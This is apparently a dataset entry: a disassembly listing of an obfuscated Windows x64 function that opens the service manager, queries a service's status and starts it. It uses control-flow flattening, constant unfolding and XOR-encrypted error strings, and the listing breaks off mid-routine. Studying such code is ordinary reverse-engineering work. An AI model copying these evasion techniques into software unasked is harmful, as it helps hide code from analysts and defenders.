Function at 0x1400c19fa
Capabilities:
Query service status
Start service

Disassembly:
push rax
pushf
mov eax, 0x5a4dc7ca
pushf
not eax
add eax, 0x9b40f054
xor eax, 0xef70b20a
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb209d2a9
xor eax, 0xe4c7fae7
rol eax, 0xa8
popf
cmp eax, 4
jne 0x1400c1a37
popf
pop rax
jmp 0x1400c2506
cmp eax, 0
jne 0x1400c1a46
popf
pop rax
jmp 0x1400c1aeb
cmp eax, 3
jne 0x1400c1a55
popf
pop rax
jmp 0x1400c21c2
cmp eax, 1
jne 0x1400c1a64
popf
pop rax
jmp 0x1400c1bcd
cmp eax, 0xa
jne 0x1400c1a73
popf
pop rax
jmp 0x1400c2d64
cmp eax, 7
jne 0x1400c1a82
popf
pop rax
jmp 0x1400c2a1e
cmp eax, 6
jne 0x1400c1a91
popf
pop rax
jmp 0x1400c2979
cmp eax, 0xb
jne 0x1400c1aa0
popf
pop rax
jmp 0x1400c2efb
cmp eax, 0xc
jne 0x1400c1aaf
popf
pop rax
jmp 0x1400c3121
cmp eax, 8
jne 0x1400c1abe
popf
pop rax
jmp 0x1400c2bc4
cmp eax, 5
jne 0x1400c1acd
popf
pop rax
jmp 0x1400c25ce
cmp eax, 2
jne 0x1400c1adc
popf
pop rax
jmp 0x1400c20ab
cmp eax, 9
jne 0x1400c1aeb
popf
pop rax
jmp 0x1400c2c42
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edx, edx
mov rbx, rcx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400c1b1c
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x1400c1b87
push rax
pushf
mov eax, 0x11c23943
pushf
not eax
add eax, 0xa03578e8
xor eax, 0xa3f98cf7
rol eax, 0x92
popf
pushf
not eax
add eax, 0x8f15db78
xor eax, 0x9400c635
rol eax, 0xac
popf
pushf
not eax
add eax, 0xeb9bde67
xor eax, 0x91772d03
rol eax, 0x46
popf
pushf
not eax
add eax, 0x858fdfa3
xor eax, 0x80b2dc2b
rol eax, 0x18
popf
jmp 0x1400c1a28
push rax
pushf
mov eax, 0xb1cf855e
pushf
not eax
add eax, 0xf9f7b3f1
xor eax, 0x804aa17d
rol eax, 0x60
popf
pushf
not eax
add eax, 0xb2493f56
xor eax, 0x8c6b5dbe
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xc40114a2
xor eax, 0xdf504986
rol eax, 0x89
popf
jmp 0x1400c1a28
movabs rdx, 0x7a0c72ad42cae18
pushf
not rdx
add rdx, 0x643fb61a
xor rdx, 0x608d4e0a
rol rdx, 0x68
popf
pushf
not rdx
add rdx, 0x56d41ca4
xor rdx, 0x752c0572
rol rdx, 0xf1
popf
pushf
not rdx
add rdx, 0x6b1cb454
xor rdx, 0x480ac7bb
rol rdx, 0xe9
popf
movabs rax, 0x2d8b09a4d55cf618
pushf
not rax
add rax, 0x61670b86
xor rax, 0x52eeeb29
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x7b913db5
xor rax, 0x464f17a9
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x4ae55b9c
xor rax, 0x57a69989
rol rax, 0x12
popf
pushf
not rax
add rax, 0x4a044893
xor rax, 0x57d7f747
rol rax, 1
popf
mov qword [rbp + 0x17], rax
movabs rcx, 0x85843220e4f18441
pushf
not rcx
add rcx, 0x4bb5ea47
xor rcx, 0x5b87df32
rol rcx, 0x4f
popf
pushf
not rcx
add rcx, 0x5144feb4
xor rcx, 0x4e75c4ca
rol rcx, 0x9b
popf
pushf
not rcx
add rcx, 0x59227abb
xor rcx, 0x7e66a89d
rol rcx, 0xb4
popf
mov qword [rbp - 0x19], rcx
movabs rax, 0x3b34ea2ab5add2e3
pushf
not rax
add rax, 0x42cd59f4
xor rax, 0x4aaf83c2
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x64d56ed6
xor rax, 0x457ab9ed
rol rax, 0x46
popf
pushf
not rax
add rax, 0x4becc2af
xor rax, 0x7703c405
rol rax, 0x4d
popf
mov qword [rbp + 0x1f], rax
movabs rcx, 0xe51a41a4d21729d5
pushf
not rcx
add rcx, 0x6158c6f1
xor rcx, 0x5d56cf50
rol rcx, 0x33
popf
pushf
not rcx
add rcx, 0x6ef6c968
xor rcx, 0x7e48eec2
rol rcx, 0x9e
popf
pushf
not rcx
add rcx, 0x71638f2c
xor rcx, 0x5feea4d5
rol rcx, 0
popf
movdqa xmm0, xmmword [rbp + 0x17]
movabs rax, 0x8d091c688cb7251e
pushf
not rax
add rax, 0x4f6d03e1
xor rax, 0x5615aed7
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x788e3bed
xor rax, 0x4cbb6e03
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x503f7ae4
xor rax, 0x4ac126c9
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x4f42fb2a
xor rax, 0x4bacf5da
rol rax, 0xc7
popf
mov qword [rbp + 0x27], rax
movabs r8, 0x558f76fe21d5494f
pushf
not r8
add r8, 0x55d741fb
xor r8, 0x4e22a86c
rol r8, 8
popf
pushf
not r8
add r8, 0x42bc7ae7
xor r8, 0x4b59607f
rol r8, 0x42
popf
pushf
not r8
add r8, 0x72a1d91a
xor r8, 0x4321eda3
rol r8, 0xb0
popf
pushf
not r8
add r8, 0x5553f8c8
xor r8, 0x4f273857
rol r8, 0x93
popf
mov qword [rbp - 0x11], rcx
movabs rax, 0x38238d65b40d8ba3
pushf
not rax
add rax, 0x48f33adf
xor rax, 0x73a9bf3a
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x53fed28b
xor rax, 0x673a0bf6
rol rax, 0x31
popf
xorps xmm0, xmmword [rbp - 0x19]
movabs rcx, 0xd819b64600511c59
pushf
not rcx
add rcx, 0x4b79a1d5
xor rcx, 0x72f0094f
rol rcx, 0xb6
popf
pushf
not rcx
add rcx, 0x7accf0f6
xor rcx, 0x6a5a4ebf
rol rcx, 0xa1
popf
pushf
not rcx
add rcx, 0x6a4a77bf
xor rcx, 0x7277ea21
rol rcx, 0x17
popf
pushf
not rcx
add rcx, 0x4c79ecff
xor rcx, 0x545426fc
rol rcx, 0x93
popf
mov qword [rbp + 0x2f], rax
movabs rax, 0xec51737d19619449
pushf
not rax
add rax, 0x5a456e01
xor rax, 0x6eed4f9f
rol rax, 0xec
popf
pushf
not rax
add rax, 0x7fa7db77
xor rax, 0x4e759fd7
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x4cf227ea
xor rax, 0x7f278809
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x4e6139f5
xor rax, 0x5a19bcdf
rol rax, 0xef
popf
movdqa xmm1, xmmword [rbp + 0x27]
mov qword [rbp + 0x37], rax
movabs rax, 0xb8d739c505472c92
pushf
not rax
add rax, 0x5adfacc4
xor rax, 0x5511b1c7
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x62d6c431
xor rax, 0x412229bf
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x47881461
xor rax, 0x60336b40
rol rax, 0xf
popf
mov qword [rbp + 0x3f], rdx
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [rbp + 0x37]
mov qword [rbp - 9], rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov qword [rbp + 0xf], rdx
lea rdx, [rbp + 0x17]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
mov qword [rbp + 7], r8
xorps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp + 0x27], xmm1
movdqa xmmword [rbp + 0x37], xmm0
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400c201d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400c2029
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1810e803a]
pushf
sub rdx, 0x410e001a
popf
jmp 0x1400c2045
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
jmp 0x1400c344b
mov r8d, 0x7fe5fda3
pushf
not r8d
add r8d, 0x8135807f
xor r8d, 0x92a7f1b4
rol r8d, 0xf9
popf
pushf
not r8d
add r8d, 0xb238d6b2
xor r8d, 0xfd844495
rol r8d, 0x51
popf
pushf
not r8d
add r8d, 0x81c189a3
xor r8d, 0xde83e0c5
rol r8d, 0x98
popf
pushf
not r8d
add r8d, 0x99970af3
xor r8d, 0xf4758426
rol r8d, 0x27
popf
mov qword [rsp + 0xc8], rdi
mov rdx, rbx
mov rcx, rsi
jmp 0x1400c2124
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x1400c217c
push rax
pushf
mov eax, 0x78f0bfba
pushf
not eax
add eax, 0xd5d10f56
xor eax, 0xf7660fd9
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf7dfbd8b
xor eax, 0x8a3322c3
rol eax, 0x16
popf
pushf
not eax
add eax, 0xe80fe9b8
xor eax, 0xe00aae53
rol eax, 0x6c
popf
jmp 0x1400c1a28
push rax
pushf
mov eax, 0x6e7b5bd0
pushf
not eax
add eax, 0x8f0a2799
xor eax, 0x9c78325b
rol eax, 0
popf
pushf
not eax
add eax, 0x8bf8f5e9
xor eax, 0x84f06d40
rol eax, 0x92
popf
pushf
not eax
add eax, 0xcb9566a4
xor eax, 0x8740365d
rol eax, 0xfb
popf
jmp 0x1400c1a28
movabs rax, 0xf403e78cd6c779dd
pushf
not rax
add rax, 0x4dad21a9
xor rax, 0x43eba887
rol rax, 0x72
popf
pushf
not rax
add rax, 0x7d68dc9c
xor rax, 0x42e6bf64
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x5c58c0bb
xor rax, 0x4da1cb9d
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x667a1a90
xor rax, 0x704488cd
rol rax, 0x8d
popf
lea rdx, [rbp - 0x19]
mov qword [rbp - 0x19], rax
movabs rcx, 0xdc1c23887bf68df1
pushf
not rcx
add rcx, 0x7ac68893
xor rcx, 0x418c4c48
rol rcx, 0xb3
popf
pushf
not rcx
add rcx, 0x76b55495
xor rcx, 0x4ba51051
rol rcx, 0xbc
popf
pushf
not rcx
add rcx, 0x64f57b33
xor rcx, 0x519cb6cf
rol rcx, 0x9a
popf
pushf
not rcx
add rcx, 0x524b4a54
xor rcx, 0x6d87645e
rol rcx, 0xa3
popf
mov qword [rbp + 0x17], rcx
movabs rax, 0xfb2831504b7aa76b
pushf
not rax
add rax, 0x722932f8
xor rax, 0x6a4198c2
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x7dd39b56
xor rax, 0x7ab01188
rol rax, 0xab
popf
pushf
not rax
add rax, 0x7b0a5ecd
xor rax, 0x66560c91
rol rax, 0xa0
popf
mov qword [rbp - 0x11], rax
movabs rcx, 0x90ffc0551af56fc7
pushf
not rcx
add rcx, 0x722db91a
xor rcx, 0x4f0ab107
rol rcx, 0xf1
popf
pushf
not rcx
add rcx, 0x65cbab79
xor rcx, 0x5d74538b
rol rcx, 0x9a
popf
pushf
not rcx
add rcx, 0x6403f3bc
xor rcx, 0x50e0cf8f
rol rcx, 0x8d
popf
movdqa xmm0, xmmword [rbp - 0x19]
movabs rax, 0x479224bb1bc31709
pushf
not rax
add rax, 0x48f6ae37
xor rax, 0x4722f3b2
rol rax, 0x20
popf
pushf
not rax
add rax, 0x50a1785c
xor rax, 0x46205329
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x722ca7b2
xor rax, 0x52caf9da
rol rax, 0x49
popf
pushf
not rax
add rax, 0x706d376c
xor rax, 0x7b271ba2
rol rax, 0x86
popf
mov qword [rbp - 9], rax
movabs rax, 0x82e03c81184c6f2a
pushf
not rax
add rax, 0x4bf85b18
xor rax, 0x55a8bf7c
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x59d3c44c
xor rax, 0x687a1e03
rol rax, 0x18
popf
pushf
not rax
add rax, 0x4a3c82c2
xor rax, 0x620d755e
rol rax, 0xb6
popf
mov qword [rbp + 0x1f], rcx
movabs rcx, 0xc11f3fe11a13b4e
pushf
not rcx
add rcx, 0x50960bf9
xor rcx, 0x7b04cd84
rol rcx, 0xaa
popf
pushf
not rcx
add rcx, 0x788efb6b
xor rcx, 0x5225e57b
rol rcx, 0x16
popf
pushf
not rcx
add rcx, 0x7f11ef8d
xor rcx, 0x7aeda1a6
rol rcx, 0xdd
popf
xorps xmm0, xmmword [rbp + 0x17]
mov qword [rbp - 1], rax
movdqa xmm1, xmmword [rbp - 9]
mov qword [rbp + 0x27], rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov qword [rbp + 0x2f], rax
xorps xmm1, xmmword [rbp + 0x27]
movdqa xmmword [rbp - 9], xmm1
movdqa xmmword [rbp - 0x19], xmm0
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400c2494
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400c24a0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x192f3ac4f]
pushf
sub rdx, 0x52f32c2f
popf
jmp 0x1400c24bc
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
jmp 0x1400c24c6
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x1400c3443
lea rdx, [rbp - 0x39]
mov rcx, rdi
jmp 0x1400c250e
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x1400c2575
push rax
pushf
mov eax, 0xf6c7ede5
pushf
not eax
add eax, 0x9f70bc47
xor eax, 0xc62c438a
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xe0080b85
xor eax, 0x9f066081
rol eax, 0x53
popf
pushf
not eax
add eax, 0xbb79735d
xor eax, 0xf494565f
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd4e3c3c4
xor eax, 0x83d2ddcf
rol eax, 0xa9
popf
jmp 0x1400c1a28
push rax
pushf
mov eax, 0xba49c884
pushf
not eax
add eax, 0x969ff278
xor eax, 0xe1076dc3
rol eax, 0x31
popf
pushf
not eax
add eax, 0xa7f818f5
xor eax, 0xb03406c7
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xde185697
xor eax, 0xabc82d43
rol eax, 0x43
popf
pushf
not eax
add eax, 0xca3bc589
xor eax, 0x910cf528
rol eax, 0x4e
popf
jmp 0x1400c1a28
movabs r8, 0x368d235bb3cf89e8
pushf
not r8
add r8, 0x476958ec
xor r8, 0x635a9ecd
rol r8, 0x56
popf
pushf
not r8
add r8, 0x4a29e857
xor r8, 0x489989ba
rol r8, 0x64
popf
movabs rdx, 0x1d528e50c458a479
pushf
not rdx
add rdx, 0x662c3789
xor rdx, 0x78de5fdc
rol rdx, 0xe9
popf
pushf
not rdx
add rdx, 0x7ab8383f
xor rdx, 0x55271b65
rol rdx, 0x56
popf
mov qword [rbp + 0x3f], rdx
movabs rax, 0x2b29205685ce0321
pushf
not rax
add rax, 0x50786609
xor rax, 0x4583f1e0
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x414a3751
xor rax, 0x491453a1
rol rax, 0x57
popf
mov qword [rbp + 0x17], rax
movabs rcx, 0x8cfe0e8157efc392
pushf
not rcx
add rcx, 0x6f838571
xor rcx, 0x5659290d
rol rcx, 0xfd
popf
pushf
not rcx
add rcx, 0x7ac892c0
xor rcx, 0x71dde547
rol rcx, 0xee
popf
pushf
not rcx
add rcx, 0x73bcc76b
xor rcx, 0x5d9ff675
rol rcx, 0xfc
popf
pushf
not rcx
add rcx, 0x460a9c48
xor rcx, 0x4c9cab6e
rol rcx, 0xbe
popf
mov qword [rbp - 0x19], rcx
movabs rax, 0x9fe809687229f935
pushf
not rax
add rax, 0x5bf23558
xor rax, 0x6ee7f41b
rol rax, 0x38
popf
pushf
not rax
add rax, 0x478a3c92
xor rax, 0x6bc54e95
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x5163f152
xor rax, 0x4c87c1cc
rol rax, 0xa1
popf
pushf
not rax
add rax, 0x6a41b890
xor rax, 0x4e4aa728
rol rax, 0x28
popf
mov qword [rbp + 0x1f], rax
movabs rcx, 0x126d459193e3a3aa
pushf
not rcx
add rcx, 0x45138002
xor rcx, 0x5d2b7df9
rol rcx, 0x1c
popf
pushf
not rcx
add rcx, 0x66389ad0
xor rcx, 0x453a6499
rol rcx, 9
popf
movdqa xmm0, xmmword [rbp + 0x17]
movabs rax, 0x896cac35a97f52c1
pushf
not rax
add rax, 0x4586353d
xor rax, 0x70a87a1d
rol rax, 0x35
popf
pushf
not rax
add rax, 0x767c1006
xor rax, 0x6d0c689a
rol rax, 0xff
popf
mov qword [rbp + 0x27], rax
movabs rax, 0x83f2ccfca003dcf8
pushf
not rax
add rax, 0x6d32d7c0
xor rax, 0x52b07d70
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x56fdcc38
xor rax, 0x6295ca6e
rol rax, 0xbe
popf
mov qword [rbp - 0x11], rcx
movabs rcx, 0x8f303a3b67959ac6
pushf
not rcx
add rcx, 0x4507a479
xor rcx, 0x636a3255
rol rcx, 0xaf
popf
pushf
not rcx
add rcx, 0x50d5a6ab
xor rcx, 0x542fd7cc
rol rcx, 0xb1
popf
pushf
not rcx
add rcx, 0x690e1283
xor rcx, 0x6f1feb56
rol rcx, 0xf4
popf
xorps xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x2f], rax
movabs rax, 0xc679a9cec9ece6ff
pushf
not rax
add rax, 0x55d77d26
xor rax, 0x4fcf3bed
rol rax, 0x68
popf
pushf
not rax
add rax, 0x7a8ed959
xor rax, 0x7bb9ecd7
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x484ee20b
xor rax, 0x73ed72c3
rol rax, 0xb4
popf
movdqa xmm1, xmmword [rbp + 0x27]
mov qword [rbp + 0x37], r8
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [rbp + 0x37]
mov qword [rbp - 9], rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov qword [rbp + 0xf], rdx
lea rdx, [rbp + 0x17]
mov qword [rbp - 1], rax
xorps xmm1, xmmword [rbp - 9]
mov qword [rbp + 7], r8
xorps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp + 0x27], xmm1
movdqa xmmword [rbp + 0x37], xmm0
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400c2910
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400c30b1
cmp dword [rbp - 0x35], 4
jne 0x1400c29d8
push rax
pushf
mov eax, 0x149a3621
pushf
not eax
add eax, 0x970815ab
xor eax, 0x8b4532fa
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xd08b5b14
xor eax, 0x81ffda6d
rol eax, 0xac
popf
pushf
not eax
add eax, 0xa8f11719
xor eax, 0xb5105b5e
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf1e3358f
xor eax, 0x8057c983
rol eax, 0x99
popf
jmp 0x1400c1a28
push rax
pushf
mov eax, 0x4589de85
pushf
not eax
add eax, 0xb8cf6a5f
xor eax, 0xefdf3e7d
rol eax, 0x29
popf
pushf
not eax
add eax, 0xa13abbe9
xor eax, 0xec74ca7b
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa042a731
xor eax, 0x9cf08842
rol eax, 0xc6
popf
jmp 0x1400c1a28
movabs rax, 0x470be2d829d4045
pushf
not rax
add rax, 0x68ccb59a
xor rax, 0x7479cfb1
rol rax, 0x46
popf
pushf
not rax
add rax, 0x55a4afc8
xor rax, 0x5a914363
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x536f429b
xor rax, 0x46a6ea49
rol rax, 0xcf
popf
mov qword [rbp - 0x19], rax
movabs rax, 0xa78dcc3dd9df0119
pushf
not rax
add rax, 0x53d222e3
xor rax, 0x7f82b623
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x5309333d
xor rax, 0x60156a4f
rol rax, 0x71
popf
pushf
not rax
add rax, 0x5842d2db
xor rax, 0x54a85a2d
rol rax, 0xed
popf
pushf
not rax
add rax, 0x7030430f
xor rax, 0x64b01aec
rol rax, 0x78
popf
mov qword [rbp - 0x11], rax
movabs rax, 0x8aa2ef9822aa7861
pushf
not rax
add rax, 0x6fe6568e
xor rax, 0x5baf47fe
rol rax, 0xaa
popf
pushf
not rax
add rax, 0x4340790d
xor rax, 0x489fff85
rol rax, 0x27
popf
mov qword [rbp - 9], rax
movabs rax, 0x68f89f20132b65f6
pushf
not rax
add rax, 0x741cd7fa
xor rax, 0x5c9a08de
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x49c8ca57
xor rax, 0x50bd5f91
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x5a663c8b
xor rax, 0x500a4fa4
rol rax, 4
popf
jmp 0x1400c3269
xor r8d, r8d
xor edx, edx
mov rcx, rdi
jmp 0x1400c2bcd
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1400c2c0e
push rax
pushf
mov eax, 0x9e1ab80f
pushf
not eax
add eax, 0xacd9c444
xor eax, 0x80463d55
rol eax, 0x84
popf
pushf
not eax
add eax, 0xdbd0a441
xor eax, 0xec390e28
rol eax, 0xb1
popf
jmp 0x1400c1a28
push rax
pushf
mov eax, 0xc1413771
pushf
not eax
add eax, 0x98b25065
xor eax, 0xa6e6b4d5
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xf7d54d49
xor eax, 0x91ea436c
rol eax, 0x5c
popf
jmp 0x1400c1a28
call qword [sym.imp.KERNEL32.dll_GetLastError]
movabs rcx, 0xfdfce77d5c1ca45d
pushf
not rcx
add rcx, 0x66a4d250
xor rcx, 0x59784338
rol rcx, 0x9a
popf
pushf
not rcx
add rcx, 0x50adc616
xor rcx, 0x7bb6e0b6
rol rcx, 0x2c
popf
pushf
not rcx
add rcx, 0x49cc9663
xor rcx, 0x46a3866a
rol rcx, 0x61
popf
pushf
not rcx
add rcx, 0x4a0aaa06
xor rcx, 0x6bbb59a1
rol rcx, 0x41
popf
lea rdx, [rbp - 0x19]
mov qword [rbp + 0x17], rcx
movabs rcx, 0x874c5eb26c80f13f
pushf
not rcx
add rcx, 0x76c8f5dd
xor rcx, 0x7c7df8e3
rol rcx, 0xfc
popf
pushf
not rcx
add rcx, 0x67444128
xor rcx, 0x7ec88a59
rol rcx, 0x9c
popf
pushf
not rcx
add rcx, 0x68de380e
xor rcx, 0x4e1407ab
rol rcx, 3
popf
mov qword [rbp + 0x1f], rcx
movabs rcx, 0x4cfbeb479005514d
pushf
not rcx
add rcx, 0x67116c94
xor rcx, 0x54569610
rol rcx, 9
popf
pushf
not rcx
add rcx, 0x72b5d517
xor rcx, 0x502bbad7
rol rcx, 0xf6
popf
mov qword [rbp + 0x27], rcx
mov ebx, eax
cmp eax, 0x420
jne 0x1400c2efb
movabs rax, 0xe685e84248f50019
pushf
not rax
add rax, 0x5a39acb2
xor rax, 0x674a1ca7
rol rax, 0x68
popf
pushf
not rax
add rax, 0x6464a8c7
xor rax, 0x733d8229
rol rax, 0x85
popf
pushf
not rax
add rax, 0x58fc4f3c
xor rax, 0x62d5a4b7
rol rax, 0xb6
popf
mov qword [rbp - 0x19], rax
movabs rax, 0x8fbb566de33c2a74
pushf
not rax
add rax, 0x5814c021
xor rax, 0x73a83e2c
rol rax, 0x40
popf
pushf
not rax
add rax, 0x5f0a2985
xor rax, 0x710f2fb6
rol rax, 0x91
popf
pushf
not rax
add rax, 0x79e887bd
xor rax, 0x5be48f67
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x4b777bda
xor rax, 0x76133a19
rol rax, 0xe0
popf
mov qword [rbp - 0x11], rax
movabs rax, 0x939f98b6d9ae1a5e
pushf
not rax
add rax, 0x5a517f65
xor rax, 0x55d955f3
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x5c601463
xor rax, 0x7376c5e4
rol rax, 0x20
popf
mov qword [rbp - 9], rax
movabs rax, 0xa330a7b725ff1673
pushf
not rax
add rax, 0x77fc361a
xor rax, 0x46e80078
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x65655a45
xor rax, 0x68df293d
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x53cc60cf
xor rax, 0x4a0a03ca
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x7b950fcc
xor rax, 0x587e8ae8
rol rax, 0x3d
popf
jmp 0x1400c3378
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
movabs rax, 0x5c4e3874b83429fa
pushf
not rax
add rax, 0x76da7c7e
xor rax, 0x56dcf7c8
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x649fa6e1
xor rax, 0x46dbc5ae
rol rax, 0x27
popf
pushf
not rax
add rax, 0x6bb5e04f
xor rax, 0x54a3b22f
rol rax, 0x7e
popf
mov qword [rbp - 0x19], rax
movabs rax, 0x1a01357c68c467dc
pushf
not rax
add rax, 0x6857709e
xor rax, 0x7e507ca7
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x5b6cda99
xor rax, 0x77ee8a22
rol rax, 0xce
popf
mov qword [rbp - 0x11], rax
movabs rax, 0x456f5dd04eb1edac
pushf
not rax
add rax, 0x581f4ba8
xor rax, 0x4dfb52ae
rol rax, 0x1d
popf
pushf
not rax
add rax, 0x695c98ea
xor rax, 0x5563b194
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x5acc8b39
xor rax, 0x4c0e440f
rol rax, 0x73
popf
movdqa xmm0, xmmword [rbp - 0x19]
xorps xmm0, xmmword [rbp + 0x17]
mov qword [rbp - 9], rax
movabs rax, 0xb83931310d0825b0
pushf
not rax
add rax, 0x755a6b40
xor rax, 0x580227a0
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x7455a19c
xor rax, 0x71df3d13
rol rax, 8
popf
pushf
not rax
add rax, 0x6b8fc96e
xor rax, 0x748e097c
rol rax, 0xf
popf
pushf
not rax
add rax, 0x6a71bb3f
xor rax, 0x6188a681
rol rax, 0x2d
popf
mov qword [rbp - 1], rax
movabs rax, 0xc7d8d0de6028d3a2
pushf
not rax
add rax, 0x49b269d7
xor rax, 0x4c5bfd87
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x7a4b8165
xor rax, 0x5a85f418
rol rax, 0x51
popf
movdqa xmm1, xmmword [rbp - 9]
mov qword [rbp + 0x2f], rax
xorps xmm1, xmmword [rbp + 0x27]
movdqa xmmword [rbp - 9], xmm1
movdqa xmmword [rbp - 0x19], xmm0
call fcn.1400b8cc6
mov edx, ebx
mov rcx, rax
jmp 0x1400c30b1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1b77f546e]
pushf
sub rdx, 0x777ed44e
popf
jmp 0x1400c30cd
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
jmp 0x1400c30d7
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
jmp 0x1400c30e1
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x1400c3443
movabs rax, 0x7369f3f521c4a859
pushf
not rax
add rax, 0x695da4dc
xor rax, 0x5208385d
rol rax, 0xba
popf
pushf
not rax
add rax, 0x5a8791ea
xor rax, 0x6a8f1c49
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x6441572a
xor rax, 0x68f0bbdf
rol rax, 0x7a
popf
mov qword [rbp - 0x19], rax
movabs rax, 0x28af867e236056f1
pushf
not rax
add rax, 0x51a6b79b
xor rax, 0x5eabfc5c
rol rax, 0x77
popf
pushf
not rax
add rax, 0x7686bb2d
xor rax, 0x5e8a6a43
rol rax, 0xd2
popf
mov qword [rbp - 0x11], rax
movabs rax, 0x27fb92c829c4e700
pushf
not rax
add rax, 0x50b41044
xor rax, 0x7cff8126
rol rax, 0xac
popf
pushf
not rax
add rax, 0x6e9a5159
xor rax, 0x7988830e
rol rax, 0x5f
popf
pushf
not rax
add rax, 0x627c9568
xor rax, 0x649543d6
